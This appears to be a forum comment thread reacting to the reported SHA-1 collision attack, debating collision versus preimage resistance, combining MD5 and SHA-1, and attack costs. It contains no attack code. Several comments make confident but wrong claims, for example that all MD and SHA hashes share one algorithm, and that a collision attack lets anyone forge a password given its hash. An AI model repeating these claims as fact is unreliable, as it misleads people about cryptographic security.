Today paul Kocher complained that Microsoft was using MD5 in its anti-spyware to identify known bad software. This is not actually a major problem, much worse would be using MD5 to identify known good software to keep, that is when a collision would bite. For known bad programs well i don't want any variant of the program to run...

But if you are writing an entirely new application then use SHA-256 or SHA-512, more rounds, more bits.

Meanwhile we need to research some new hash functions pronto.

Re:Don't panic! 'Broken' is not Cracked

[jlcooke]

Humm, no.

Differentials in SHA-256 can be found with the new techniques.

The problem is with the new differential attack our Chinese friends discoverd. Fidning differentials through addition mod 2^32.

SHA-256 uses the same. For now, yes, it's safe. But as of right now, the crypto community is hugerly trying to build new hashs with more complex compression function chaining. Whirlpool is an example of this newer view on hash functions.

It's based heavily on AES's core operations which would make me feel uneasy. Diversity in the underlying techniques for crypto algos is exemplified here by how just about every hash we use today fell because of a lack of diversity.

In short:
- Use SHA-256 for now.
- In 2-3 years, upgrade to whatever becomes the standard, it'll be stronger than SHA-256

Re:Don't panic! 'Broken' is not Cracked

[wirelessbuzzers]

It's based heavily on AES's core operations which would make me feel uneasy. Diversity in the underlying techniques for crypto algos is exemplified here by how just about every hash we use today fell because of a lack of diversity.

True. But even if AES were to fall, its core is totally different from 3DES, IDEA, TWOFISH, BLOWFISH, SERPENT, MARS, RC6, TEA and so on. There are probably dozens of different, still-unbroken symmetric ciphers out there, and this doesn't even include stream ciphers like RC4. And the ciphers that I listed don't bear that much relationship: many of them are Feistel ciphers, but that's about the extent of the structural similarity. Even if a weakness were found in the Feistel design, we'd still have AES, IDEA and MARS at least (not sure about RC6).

Re:Don't panic! 'Broken' is not Cracked

[m50d]

What about RIPEMD (or one of the longer versions therof)? IIRC there aren't any known attacks like this on it.

Ah, hell

[Fizzl]

Guess I wnont be using SHA afterall...

..three letter agency

[eetvar]

i'm pretty sure that no such agency exists.

ee.

Pigeon-hole principle

[Morosoph]

When two distinct values have the same resultant hash, we call that a "collision". It should be obvious that there are an infinite number of collisions for a fixed-length hash value - pidgeon hole principle shows you that.

Sorry to correct your otherwise good post. The pigeon-hole principle is that when you place n items into n slots so as to not reuse any slot, every slot is filled. The principle doesn't apply here, for the slots are being reused. In particular, a given hash could easily be unique, or indeed, never used at all!

Re:Pigeon-hole principle

[hepwori]

No; the pigeon-hole principle is that when you have n slots and >n items, at least one slot must be used more then once. It applies perfectly here.

See http://mathworld.wolfram.com/DirichletsBoxPrincipl e.html.

Re:Pigeon-hole principle

[Morosoph]

That is equivalent to what I said.

Great grandparent:

It should be obvious that there are an infinite number of collisions for a fixed-length hash value.

Obviously it depends whether "a" means "one" or "any" in this context.

Re:Pigeon-hole principle

[Shano]

To nit-pick further, the pigeon-hole principle says nothing about not reusing any slot. It states that if you place n items in to n slots, either every slot is filled, or (at least) one slot has more than one item.

Equivalently, if there are n+1 items, there must be a slot with more than one item. Your statement is a special case of the principle, but not as general.

It is possible to prove (by induction) that there are an infinite number of collisions for some hash value using this. However, proving that collisions exist for every hash value requires detailed knowledge of the algorithm, and doesn't follow directly from the pigeon-hole principle.

Re:Pigeon-hole principle

[Morosoph]

You're right. I mis-remembered the pigeon-hole principle, and ended up quoting a special case.

However, proving that collisions exist for every hash value requires detailed knowledge of the algorithm, and doesn't follow directly from the pigeon-hole principle.

Ah yes, that was what I was trying to say :-)

Re:Pigeon-hole principle

[Bitsy Boffin]

As you say, it is of course possible (without knowing the details of the specific hash algorithm) that there is a certain hash value (or more than one) which has no collisions.

What I should have said was simply that the pidgeon hole principle shows us that there must be an infinite number of collisions (given an inifinite number of source strings) however it of course doesn't tell us where in the set of all possible hashes the collisions are likely to occur.

md5 and sha-1

[Anonymous Coward]

So if I download a .deb, .rpm, .iso or whatever and check it with sha-1, there's a chance that it could have been tampered with in such a way to create the same sha-1 hash.

But what if I check it with md5 *as well*? What are the chances of finding a change that will create the same sha-1 has AND the same md5 hash?

one has to say it

[selfsealingstembolt]

I wonder: Did they use the "Chinese Lottery" to break it? *g*

General limitations of digital computers

[Anonymous Coward]

Well, computer design doesn't allow infinite number of combinations of bytes. Since every computer has limited resources, the number of combinations in digital computer is always finite, even if this number can be very very very very very very big.

Re:General limitations of digital computers

[Ctrl-Z]

Who said anything about computers? Hash functions are perfectly valid outside of the context of electronic systems.

two things

[tinkerton]

- you don't have to do it yourself. It's possible to ask somebody who can do it

- there is a tradeoff between memory and calculation. If you have a lot of precalculated data to work with, Calculation is much shorter. At one stage, practical decryption of DES used 100GB of stored data. Later this was reduced to 1.4GB or two CD's. I recall site somewhere that demonstrates decrypting passwords in about 10 seconds.

Hah!

[Hobbex]

That is nothing. This post has been encrypted with an unbreakable one-time-pad! TWICE!

Re:Hah!

[Anonymous Coward]

But if you used it twice, it isn't an one-time pad any more, is it?

Re:Hah!

[Anonymous Coward]

That two timing whore! I always knew I shoulda got it a chastity belt!

Weak and strong collision resistance

[vagabond_gr]

For password hashes this attack shouldn't be a problem, if it is as described in the article. The attack does only one thing: allows an attacker to generate two streams of data which hash to the same value. This is a problem for digital signatures, because somebody can sign one data stream, then distribute another with the same signature. So the signature doesn't guarantee the data has not been modified

Even for signatures, it depends on the application. There are two types of collision resistance:
- Weak collision resistance: Given x, I cannot coumpute y s.t. H(x)=H(y)
- Strong collision resistance: I cannot compute arbitrary x,y s.t. H(x)=H(y)

Usually collision results show that a hash algorithm is not strong resistant.

So if I want to create random data (a nonce) and sign it there is a problem, I can create x,y with the same signature. However if I want to sign something specific, say an email, then I have to break weak resistance, random x,y won't do since x is unlikely to be the email I wrote.

correction

[tinkerton]

the 1.4GB storage approach specifically applied to windows passwords, not general DES decryption(and not triple DES either).

Important info on crypto hashes

[ars]

I guess I missed posting this before the bulk of the posts, but maybe it'll help someone.

First: MD* SHA-* etc - they are all basically the SAME algorithm! The are just minor modifications of the same exact thing, so a break in one is a break in all.

Second: Tons and tons of people ask: can't we merge two hashes together and get a stronger one? Yes you can that's EXACTLY what MD* and HA-* DO! They are a combination of different hashes! That's how they work.

So if you really did have a good combo of hashes then just give them a name and use them as a hash - don't bother just plain merging existing ones.

Also, merging say MD5 and SHA-1 is pointless - they are both based on the same hashing code! You are gaining nothing by merging them.

Best of both worlds?

[Anonymous Coward]

Can we do both an md5sum and a SHA-1 on the same file?

Are the chances of finding a new file which produces the same hashes as the original any less by doing this?

Given that I don't understand the math of all this it would initially appear that if the chances of finding the hash in one case were 2**50 say, and in the other case 2**40, then the combined case ought to be at least as bad as 2**90. Its sort of double checking.

Extending the technique further - SHA the file multiple times but pass the data through in a different order each time. Imagine the data as a matrix, the first time we follow columns the next time we follow rows. OK it takes 2+ passes but hopefully its secure.

Maybe I've missed something but it looks like a simple solution without having to throw away the algorithms we already have.

Same team who broke MD5

[henrypijames]

This is the same team who broken MD4, MD5, HAVAL-128 and RIPEMD six months ago, so I'd rather believe this is true that calling them liars.

Using both "broken" hashes

[HexDoll]

Why not make two hashes of a password using different algorithms, one using MD5 and the other using SHA-1. If an attacker was able to produce a password where the hash matched one it would be very unlikely to get the correct hash using the other algorithm unless the attacker had found the original password.

Re:Using both "broken" hashes

[RootVegetable]

Yeah.. a bit like what TLS does when producing crypto key material: XOR the result of MD5 and SHA1 hash functions.

MOD PARENT DOWN

[Anonymous Coward]

parent poster is a fucking racist dick.

Well whatever it is...

[cmacb]

I hope they get it fixed soon.

Re:Well whatever it is...

[carling_ZA]

Ha! All your base are belong to us... again.

Re: [OT U poisoning]

[mlyle]

Gulf era veterans != gulf war veterans.

Apples & apples, please, mmkay?

As of 2003:

About 209,000 Gulf War veterans have filed claims with the Veterans Administration, and 161,000 of them are receiving disability payments.

From CNN, January, 2003.

This would represent 36% and 28% respectively, using your number for the number of Gulf War veterans.

I looked at a few of the papers on your web site, and did chi^2 testing on the figures; for instance, from the "Effects of War in Iraq" paper by Dr. Al-Ali, there is only a 15% chance of there being a relation between exposure and cancer rates. That is, if the figures can be believed.

The paper says there was a rate of 11 cancers per 100,000 in 1988 and 123 per 100,000 in 2002. The United States cancer incidence rate is about 550 per 100,000, and the death rate is about 250 per 100,000. While other countries have lower cancer rates, none have rates below 250 per 100,000; therefore, it's pretty hard for me to believe that Basra had a rate of 11 per 100,000 in 1988.

It's pretty easy to show a connection when you just make up numbers and don't test for statistical significance ;P.

Re:and the order it revises is MUCH more restricti

[Anonymous Coward]

Of course, us paranoid furriners used to legally run Fortify on the binaries to re-enable the 128 bit ciphers.

Digital signatures at risk?

[Anonymous Coward]

People keep saying that this situation may have unpleasant implications for digital signatures. The way I see it, this simply means that someone else can create another text with the same hash as the text I just typed in my email client, and use the exact same signature. But the other text will probably be just some RANDOM JUNK. I don't see how they'll make any use of it.

I'll help you.

[hummassa]

The question was: "OverlordQ (264228): DES had a weakness nobody but the NSA knew about, so they recommended changes to it without saying the reasons for them. years later an attack was found against DES, but the NSA changes prevented it from being useful. Why would they change their tune to SHA-1?"
The answer was: "bergeron76 (176351): [cough] Republican President [cough]

Got it now?

Re:I'll help you.

[eht]

good answer, because there was a republican president in the white house 9 years ago, oh wait, nope, that was a democrat 9 years ago

Re:I'll help you.

[luferbu]

Got it now?

It seems *you* didn't get it :-)

I would suggest a modification to "linear"

[fireboy1919]

How did you do a linear search? Did you just try one number after another until you reached your target number?

I could be wrong, but I think the problem is that your linear search is not searching the space uniformly; it favors lower numbers (or higher numbers) more than the opposite, despite the fact that the numbers are chosen uniformly. Further, the probability that a random search will hit a low number is higher than the probability that the linear search will reach a high number for any sufficiently large set. In other words, the RNG has an advantage probabilistically.

Instead of a linear search, try subdividing the space each time, which guarantees a roughly uniform search of the space. So, for example, if you were guessing the range of 0-10, you'd guess in this order (I subdivided and rounded up or down, alternating):
5 0 10 2 7 1 4 9 3 8 6

There are other ways of doing uniform searches. Pick one and see if your results aren't better.

Re:I would suggest a modification to "linear"

[Anonymous Coward]

Could it be that you are searching for random numbers generated by your random generator? If so the fact that you find them quicker than with a linear search points to a problem with your random distribution rather than a true affect.

Re:I would suggest a modification to "linear"

[fireboy1919]

Reread his post. He used random.com. It gives truly random data.

Using openssl to generate hashes.

[ticktockticktock]

If your system has an md5sum command, it will also have a sha1sum command. Same idea, different output: feed each of them a file and they will give you a hash of that file that fits in 128-bits (md5) or 160-bits (sha1).

If you have "openssl" installed, you could also use openssl to generate the hashes. (supported hashes)

For md5 hashes:
$ openssl md5 filenames...
Output: MD5(filename)= hash

For sha1 hashes:
$ openssl sha1 filenames...
Output: SHA1(filename)= hash

LOL WHAT

[Anonymous Coward]

Yes, SHA-1 is one-way only. Whoosh! Whoosh!

Now I get the "Use 2 hash algorithms" comments

[The_Dougster]

Ok, if my file consists of the line "Hello World." then I get the following hashes:

770b95bb61d5b0406c135b6e42260580 for MD5

b924c2f360b572e17c971f1b1b667e0732944df7 for SHA-1

Trying to tinker around with the file and make both hashes come out the same as above would presumably be much more difficult than for any single hashing algorithm, and it might very well be nigh impossible. The little light bulb has finally come on. Now I get it. Yeah using two hash algorithms together would probably work nicely. Don't combine the results mathematically, just append the keys together into a big long string. The final MD5+SHA1 hash key for my file would be:

770b95bb61d5b0406c135b6e42260580b924c2f360b572e1 7c 971f1b1b667e0732944df7

I don't know whether this would be stronger than a SHA-2 of equivalent bit length or not, but now I get what some of you have been saying. From a common sense view, it would seem that something like this would be pretty darn tough to crack, because you would have to make two different algorithms compute matching keys for a given dataset.

Re:Now I get the "Use 2 hash algorithms" comments

[Tucan]

Concatenation is a reversible opertaion. I can divide your string AB into the components A and B and find collisions for either.

Re:Now I get the "Use 2 hash algorithms" comments

[BigZaphod]

Could you get the same result, by doing this:

m = md5(content)
hash = sha1(content + m)

By my thinking, then you wouldn't have to have longer hashes or whatever out there. To verify the data, you'd just md5 what you got, then sha-1 what you got as well as the result of the md5. If the sha-1 operation matches the validation hash you were given, then it'd be pretty darned secure I'd think. IANAM (a mathematician), so it is possible there's some kind of flaw with this logic.

Re:Now I get the "Use 2 hash algorithms" comments

[Anonymous Coward]

Yes, but could you find collisions for BOTH, *at the same time on the same data*? I don't think so.

It would be a bit like nailing jell-o to a tree; just when you get one nail to stick, it slides out when you work on the second nail.

Yeah, bad analogy I know -- but the solving of two simultaneous equations should make it MUCH harder.

Not true.

[WillerZ]

I was required to apply for a munitions export license from the US State Department when I wanted to buy some cryptographic hardware from the US in 2001 (I live in the UK).

They seemed to process it automatically -- I doubt they did a background check in the time it took, but the process was still there then at any rate.

Cheers,

Phil

Metadata

[bogado]

Maybe we should start encoding meta-data along with the hash, so instead of trusting only on the hash to confirm that the message is from who sign it, we would encode along the message, the size, type and whatever characteristic could define the message.

For instance, suppose I sign the message "Hi, I'm Victor", along with the hash it would contain the size (14 bytes), type (English text), encoding (7bits ASCII) and how about the range of codes used in the messages (from U+0027 - U+0074).

A good hash would give a uniformly distributed random hash for the message, so it is safe to assume that even if we could find a collision, it would be highly unprovable that it would satisfy all the meta-data. In some cases it could be provable that this kind of hash is unbreakable, since there is a finite number of messages that satisfy the meta-data (if you could hash all possibilities and verify that there were no collisions you're 100% safe).

Re:Metadata

[Kjella]

In some cases it could be provable that this kind of hash is unbreakable, since there is a finite number of messages that satisfy the meta-data

No, not if length is one of the metadata. Then the possibilities are infinite. Secondly, if it is provably not valid for any other possibility, it is not one-way (since then an attacker could do that, and recover the original.

Re:Metadata

[bogado]

The length is what makes the number of possibilities becoming finite.

Off course the metadata would have to be verified in some other manner, maybe signed with it's full contents, instead of a hash of it. I do believe this is feasible.

Then in this idea the hash function would be composed by a plain text metadata block, a signed with the private key metadata block (maybe just a signed with the private key would be needed) and the hash code of all the data.

The whole point is imposing some validity checks to the encoded data. The hash code would have a random looking part and another part that would be able to tell size, type of text, encoding, compression (or not) of the data being signed.

Curious yellow.

[nounderscores]

Hmm. What does this mean for Curious Yellow a theoretical superworm that uses SHA-1 to hash the addresses of infected computers and form a slow spreading, nearly silent network of zombie boxes awaiting arbitary code.

If CY doesn't upgrade its hash, then its network would be exposed.

For the conspiracy theorists out there ...

[malcomvetter]

NIST announced on 2/7 (days before) that an upgrade from SHA-1 is being forced, but that "SHA-1 is not broken ... and there's no reason to believe it will be in the near future."

here's the article.

Thats why i use RSA 2048 bits!

[dark-br]

Comeon get me NSA! Crack down my emails... it will take you about 30 billion years or so but whats the hurry anyways...

Re:Thats why i use RSA 2048 bits!

[cpghost]

SHA-1 is a digest algorithm. It has nothing to do with encryption.

Re:Broken or not?

[Anonymous Coward]

I think you misspelled "fucking".

Whirlpool is really slow

[Paul Crowley]

But with 64-bit CPUs pretty common now, Tiger is looking good...

Oh, but it is.

[blackbear]

With a hashed password, you don't have access to the password (input to message digest function).

You don't need it for most implementations. In most systems that use hashes for password security, you provide a string to the system. The system computes a hash and compairs it to the stored value.

if you know the hash, you simply provide another string with the same hash. In effect, every hash used for passwords probably has more than one plaintext.

Some systems complicate this by using some known, preshared value which is concatinated to the plaintext before hashing. This would require you to know some of the plaintext in order to calculate a subsitute string. But without that complication, this is pretty straight forward substitution without knowing the plaintext (password)

Re:Not a problem (a way to sign messages)

[kushnir]

There is also a protection against attacks on digital signatures that uses birthday party paradox trick. Right before signing the message you ADD some arbitrary text at the end of the message and AFTER THAT algorithm calculates hash and signature. So if someone prepared 2 texts that give same hash and hence same digital signature, now they lost there tremendous amount of preparation work.

Pretty much the same idea is in salt. Though here you add salt at the very last minute.

Please define "broken"

[mwood]

That's an awfully vague term. We've got an Ethernet hub with a corner knocked off its case, so theoretically you could say it's "broken", but it still works as well as it ever did. A lot of cryptologic results are like that: we know more than we did before about X, but X is not suddenly rendered useless or even worrisomely less strong. Whereas, in the movies, "we broke their code" generally means, "we have the key and can read their secret messages as quickly and easily as they can."

Re:Please define "broken"

[sholden]

It's a hashing function, so broken means it is possible to generate a collision in less work than brute force (try all possibilities) needs.

Of course TFA gives a more precise definition.

How's MD2?

[Peter Allan]

Six years ago, I was developing an application on a microcontroller http://mywebpages.comcast.net/orb/, and it used MD2 because it has a small code and memory footprint. Experts at the time said that I should use SHA-1 or MD5 because a simplified version of MD2 had been broken, and the full MD2 was sure to follow. Those hashes would not work on the chosen microcontroller, so I used MD2 anyway.

Is MD2 broken? If not, the irony is apparent.

Bad in theory, but who cares in real life?

[shish]

The sha1 of my root password is 48f9ce665c935dd7298a6cf4297b3d95e7808d2c. Wake me up when someone can use that info to extract a useful password that'll let them in to my box.

For bonus points, my kernel is 1e47925e07c0cc69d753c9261eecee79f0c1b260. Add in a rootkit without changing the hash.

the right fix

[Anonymous Coward]

Combine SHA-1 and MD5 outputs.

What are the chances of:
let X,Y, such as X != Y and sha-1(X) = sha-1(Y) and md5(X) = md5(Y).

I say X,Y does not exist.

Re:GNAA?

[cortana]

Presumably it's the same motivation they have for trying to ruin Slashdot.

Ironic source to answer that....

[abb3w]

Which *one* of SHA-2?

According to this news piece, NIST is planning on switching to -256 or -512. In a nice touch, the piece adds:

Burr said no complete implementation of the SHA-1 function has been successfully attacked. "SHA-1 is not broken," he said, "and there is not much reason to suspect that it will be soon."

Of course, the news piece was over a week ago, and ya gotta love those government weasle words. =)

I suspect using multiple fingerprints (MD5+SHA-something) will probably be a practical step for the even the non-government paranoids in the short-term. The time for finding a dupe rise drastically with multi-fingerprint matching, especially given the current "attacks" have been only marginally computationally possible until quantum computing with hash-sized quantities of qbits is made to work.

SHA-1 is alien to me.

[oliverthered]

If the war in Iraq didn't teach you that the government doesn't have uberalien teck then nothing will.

Is there a special place that the Government takes all the Genius children so that they can work behind the close Iron curtains on Government alien teck.

Wake up, smell the roses, The government really is run by a bunch of stupid religious right wingers.

Re:SHA-1 is alien to me.

[cpghost]

If the war in Iraq didn't teach you that the government doesn't have uberalien teck then nothing will.

If someone or a group had access to alien tech, that would certainly not be the Government: it would have leaked that information a long time agg.

Re:SHA-1 is alien to me.

[oliverthered]

Jesus used alien tech to bend spoons with his dead grandmother whilst the random number generator looked into the future or asteroids hitting the planet and killing everyone.

Yeh, right crack open another bottle of anti-psycotics and stop trying to rule the world
Mr Bush.

could you honestly trust someone who 'believed' that Jesus was here to save us, God is real, and if your a good boy you go to Heaven when you die, when all the facts point to it being all in his head?

FOX News

[CastrTroy]

Why do I feel like Slashdot is the FOX News of the internet. They put up flashy titles like, "SHA-1 Broken" in order to attract readers. Headlines like this, along with the with the article summary, it gives the impression that something major has actually happend, like someone finding a reverse hash function. When, in reality, what we really have here, is a way to produce 2 files, with the same key, but which still requires massive amounts of computing power.

Just mix and match

[dtfinch]

Nobody will break this:
a=SHA256(s)
b=MD5(a+s)
SHAM(s)=SHA1(b+a)

Re:Just mix and match

[gedhrel]

That's not streamable. However, this:

b=MD5(a+s)

is the basis of HMAC - shared secret key used to salt the hash.

I call bullshit !!

[gosand]

Comedy 102. Today's topic: Don't Make It Too Obvious.

Of course, since this is Slashdot, it should also be pointed out that the poster claimed to not be able to read the parent's post because it was encrypted in ROT-26, but ROT-26 was mentioned as the encryption method in, and only in, the post itself. Therefore, the person claiming to not be able to read it was lying!

Great news for passwords

[milosoftware]

Now I can type a simple password, and produce a complex password that has the same hash.

I'd type the complex one "32l;lkd49fj32*93f-FR" just once: When I create my account on the web site that demands that I have at least 8 characters, and some of them must be numeric and some must be non-alpha and so on.

After that, I can just type my usual "foo" as password and it'll accept it because the hash fits.

Huray.

Used

[u16084]

Maybe that used that computer mentioned in the story above?

Doubt it

[hey!]

This doesn't seem likely even with my tinfoil hat mode fully engated.

If we were talking about an encryption scheme, the temptation would be there. If it were and encryption scheme adopted by The Bad Guys (tm) then NSA would of course be able to read their secret communications.

But that's not what SHA is for. It's to allow a piece of data to be authenticated. You can satisfy that that this file is indeed from me based on a simple number computed from it and a secret we both share. When thegovernment procures a piece of software that is going to do something like launch nuclear missiles, it would be nice if that software could figure out whether the order really came from PotUS. On the other hand, when the order comes from Osama to fly the plane into the WTC, authentication of that order, while useful, is not as critical.

So, the national security interests here are clearly in favor of their being a publicly available, secure hash function.

Computing a hash requires reading every byte

[StRex]

(Note: Psetzer, I'm not disagreeing with you, but rather commenting on some replies to your post.)

Yes, that's the trick that some seem to be missing here when they talk about computing hash values faster than you suggest. You gotta read the whole file to compute a hash UNLESS you've only changed the last part of the file, in which case you could take the cumulative result and work from that point. If someone can show that the SHA-1 shortcuts the researchers found allow you to change data specifically at the end of the file, please correct me. Until then I'll assume that any assertions to the contrary are merely wild speculation.

Here are some real numbers for computing various hash values using Crypto++ 5.2.1. Even on a 1.6 GHz Opteron, SHA-1 hashes are computed at a rate of 100 MB/sec. Even a truckload of Opterons won't finish the job any time soon.

Re:Computing a hash requires reading every byte

[psetzer]

Well, yeah, now that you mention it, you only need to twiddle a couple thousand bytes at the end to possibly change the hash, and you can do things much quicker. I really should stop posting as stream-of-consciousness, but the things you'll do to hit 50 karma... OK, having looked through everything more thoroughly, you can do it in a very small fraction of a second by your method. However, I was a bit wrong about how quickly their method works. It requires 2^69 attempts, on average, compared to my altogether too low 2^32. So, if it takes maybe a tad less than 2ms to calculate a hash (2^-9 s), then you'd need about 2^60 CPU seconds to crack a hash like that. Any password that is more vulnerable to an attack on the SHA-1 hashing algorithm than to just guessing the damn thing is indistinguishable from line noise. (Unfortunately too long for a sig, dammit)

Not quite the end of the world

[steve_stern]

So the paper says I can find two values, X and Y, such that they hash to the same SHA-1 value. Great. What can I do with this?

As others have pointed out, I can create 2 documents, X and Y, have a target sign one, then substitute the other. His digital signature will be valid for both. Great - it takes only 2^69 attempts to get a collision - I'm sure the chances that the X and Y found will both be valid English documents, one of which I could convince a target to sign, the other allowing me to scam him out of enough money to make the whole ordeal worthwhile.

However, people keep copies of what they sign. Even if I did find a collision, and even if both documents were valid English text, the guy could say "I didn't sign Y - look, my signature is valid for X - he scammed me". Great.

The more likely scenario is someone signing their own document, then claiming it was fraudulent. They could create their own X and Y, sign X that somehow involves another party, then claim they actually signed Y and this other party was the scammer. But they still have to find X and Y in 2^69 steps such that both make logical sense in the English language - no simple task.

This is cool in a theoretical sense, but in a practical sense, its like saying you don't need a million monkeys on a million typewriters typing for a million years to generate Shakespeare; it'll only take 999,999 monkeys on 999,999 typewriters...

Or, to go back to the theoretical world: with processor speeds doubling every 1.5 years, and this team shaving 11 factors of 2 off of the break time, the lifetime of SHA-1 just shortened by about 16.5 years. Not quite the end of the world as we know it.

Step 1: Break SHA-1
Step 2: ?
Step 3: Profit!

Re:Not quite the end of the world

[Todd Knarr]

All true, but remember this is only the first cut at the break. A few things to remember:

1. The algorithm will be refined. It'll get faster and take fewer steps.
2. The algorithm can probably be parallelized. Even on general-purpose hardware running it in parallel on an 8-way dual-core Opteron rig will let you crack a hash in 1/16th the wall time, and that's not counting dedicated hardware designed for the task and running thousands of units in parallel.
3. Computing power only increases. Work that takes days now will, in a year or two, take only hours.
4. If you can find collisions at all in less than the brute-force time, you're well on your way to finding an algorithm that can tweak a specific document to have a given hash. This would, of course, be a complete crack of the hashing algorithm.

In short, if they've found this we need to start worrying and finding a replacement before we hit #4.

Re:Not quite the end of the world

[pclminion]

As others have pointed out, I can create 2 documents, X and Y, have a target sign one, then substitute the other. His digital signature will be valid for both. Great - it takes only 2^69 attempts to get a collision - I'm sure the chances that the X and Y found will both be valid English documents

Except that digital signatures are only RARELY applied to English documents (or documents in any human language for that matter). Do you know the most common use of PKI cryptography? Digital certificates.

Digital certificates include all sorts of "superfluous" information that most people don't look at. For example, the address of the issuant. In order to forge a certificate you only have to make sure the OWNER'S NAME is correct. The other data can be complete garbage, as far as a web browser is concerned. Which means it's not that hard to create fake certificates in somebody else's name (say, Microsoft Corp). This is the real risk here.

Re:Not quite the end of the world

[steve_stern]

The algorithm will be refined. It'll get faster and take fewer steps.

Yes, that is true. But how much faster? I doubt they'll shave more than another 11 factors of 2 off just by optimizing the same algorithm.

The algorithm can probably be parallelized. Even on general-purpose hardware running it in parallel on an 8-way dual-core Opteron rig will let you crack a hash in 1/16th the wall time, and that's not counting dedicated hardware designed for the task and running thousands of units in parallel.

The brute-force algorithm can definitely be parallelized. Thus, you're still not shaving off more than 16.5 years from the life expectancy.

Computing power only increases. Work that takes days now will, in a year or two, take only hours.

Yep, computing power doubles every 1.5 years, just as I said. And yet again, that means 11 factors of 2 saves you 16.5 years of increased computing power.

If you can find collisions at all in less than the brute-force time, you're well on your way to finding an algorithm that can tweak a specific document to have a given hash. This would, of course, be a complete crack of the hashing algorithm.

Not true at all. If I give you a black box that spits out a collision every time you push a button, you still can't "tweak" a document to make it match a target hash value any better than brute force. These are two completely separate problems.

Re:Not quite the end of the world

[steve_stern]

In order to forge a certificate you only have to make sure the OWNER'S NAME is correct. The other data can be complete garbage, as far as a web browser is concerned. Which means it's not that hard to create fake certificates in somebody else's name (say, Microsoft Corp). This is the real risk here.

No, thats not right.

What you are proposing is having a target hash, H (in your example, the Microsoft PKI certificate), which has a preimage, X, known only to Microsoft. You want to generate another Y such that Y also hashes to H. That problem, as far as we know, still requires brute force computation.

This paper is a completely different problem. It says it is easier to generate X and Y such that both happen to hash to the same value. You don't get to choose what that value is.

The only way this could be abused in a PKI system is if you generate X and Y such that X is your own fraudulent certificate, but Y looks like someone else's certificate, and you actually manage to get someone else to have VeriSign sign the Y certificate. If you succeed in that, both your certificate and their certificate will look the "same" to the browser, and if VeriSign signs their certificate, yours will appear valid as well.

However, if you can successfully go up to Microsoft and say "hey, I've got this certificate, Y, with all your information filled out - could you run down to VeriSign and get them to sign it for you?", there is a much more fundamental problem.

You wouldn't even need to know X - you gave Microsoft Y, and so you have Y, the actual preimage to the certificate you are trying to break.

So no, there is no risk here at all. The only possible risk is from the substitution method I described - where the adversary knows both X and Y, and can substitute one for the other without an honest third party realizing. Any scheme, such as PKI, where the adversary does not know X or Y is still perfectly secure.

Re:Not quite the end of the world

[Todd Knarr]

The problem is the additions add up. Start with 2^69 operations. Let's assume that takes 100,000 years to perform right now. Refinements in the algorithm might cut 2 off the exponent, reducing the time to one-quarter or 25,000 years. Now, parallelize that onto that 8-way dual-core Opteron. That's 16-way parallelization, so we're now down to less than 1563 years. OK, now let's go the DES/RC5 route, dedicated hardware and massive parallelization. Call it an order of magnitude speed improvement using dedicated ASICs to perform the operations, and we'll go from 16-way to 1024-way parallelization. We're suddenly down to a little over 2 years. Remember that we started at 100,000 years. The reductions in time are divisions, remember, not subtractions.

And yes, generating two documents that have the same hash is an easier problem than generating a document whose hash matches an arbitrary other document. That in turn is easier than the problem of altering a document so it has exactly the same hash as another but retains it's contents. However, they said of the CRC-32 algorithm that you couldn't solve that last problem. Then someone figured out how to solve the first problem with respect to CRC-32, and it was only a couple of years later that we had an algorithm that, given a CRC-32 value and a document, would tell you exactly which 4 bytes of the document to alter to make it have that CRC-32 value. See also similar starts on the MD5 hash.

What we've got here is a better-than-brute-force way of solving that first problem with respect to SHA-1. If previous hash algorithms are any guide, we will see the third problem solved. The only question is when, and history again tells us that it'll happen faster this time than previous times.

Re:Not quite the end of the world

[steve_stern]

The problem is the additions add up. Start with 2^69 operations. Let's assume that takes 100,000 years to perform right now. Refinements in the algorithm might cut 2 off the exponent, reducing the time to one-quarter or 25,000 years. Now, parallelize that onto that 8-way dual-core Opteron. That's 16-way parallelization, so we're now down to less than 1563 years. OK, now let's go the DES/RC5 route, dedicated hardware and massive parallelization. Call it an order of magnitude speed improvement using dedicated ASICs to perform the operations, and we'll go from 16-way to 1024-way parallelization. We're suddenly down to a little over 2 years. Remember that we started at 100,000 years. The reductions in time are divisions, remember, not subtractions.

You're still missing the fundamental point. For absolutely any method you come up with that, with the 2^69 algorithm, can break SHA-1 in time X, I can give you a similar method that uses the 2^80 algorithm and breaks SHA-1 in X * 2^11

Or, conversely, if you claim SHA-1 is weak because there is a 2^69 algorithm, using the same method as you, I would claim that SHA-1 was never strong with the 2^80 algorithm. 11 factors of 2 doesn't make or break the security of a system.

It is just wrong to argue that SHA-1 is more than 11 factors of 2 weaker now. It is wrong to argue that more than 16.5 years of its lifetime has been cut out. If you think the algorithm itself (barring breaks like this one) wouldn't have lasted another 16.5 years anyway, that is a completely separate argument. Then you would be agreeing with me that 16.5 years has been lost, and it is now completely dead. I don't think thats true, but again, thats not my point: my point is that, no matter how you slice it, only 16.5 years of life has been removed.

What we've got here is a better-than-brute-force way of solving that first problem with respect to SHA-1. If previous hash algorithms are any guide, we will see the third problem solved. The only question is when, and history again tells us that it'll happen faster this time than previous times.

Again, not necessarily true. It is possible that SHA-1 is actually secure against such an attack. An analogy can be made to RSA: it is trivial to create a "collision" (2 different public keys that share a prime factor), but it is still believed to be hard to get a prime factor given just the public key.

Yes, if this paper leads to further work on breaking the other 2 problems, we should look into better algorithms. But that is far away, if ever, and the world isn't going to end tomorrow because someone can create a SHA-1 collision in 2^69 steps instead of 2^80 steps.

How long before

[Nom du Keyboard]

And how long now before kids are cracking it in an afternoon using interconnected PS3s?

The real worry...

[Otto]

Does this mean the bad-guy-of-your-choice can now start forging digital contracts? Not yet - there is no guarantee that the collision will be meaningful (as least their earlier papers didn't show that result). For a forgery to be useful, the forger needs to make the fake message say something useful - may be change the $1 to $1 million, or change the name, or something. A collision at a random place (or a non-sensical string) is essentially useless as a forgery (there may be some interested DOS attacks, but I am talking about outright forgery which is the point of the hash functions).

The real worry here is not that this break is practical (it's not) but that it will become practical in the future. And the stuff that is using it right now will retroactively be broken and untrustworthy.

The gist of this particular break is that instead of a 2^80 attack to generate two documents with the same hash, is that it's now a 2^69 attack. Okay, yeah, bummer and all, but it is still impractical. However, analysis of the way in which this reduction is done may lead to further insights.

If somebody can generate two files with the same hash, BFD, nobody cares. But if somebody can figure out how to take an existing file and add or modify bytes to change it's hash to some given hash, then there's real cause for alarm. Because then I can, say, take your signature off some document and change some other document to have the same hash (by adding hidden comment bytes to it or whatever, depending on the document format), and thus make it look like you signed the original document. Or I can put some malicious code in place of some valid code and make the malicious code's hash look like it's the valid code's.

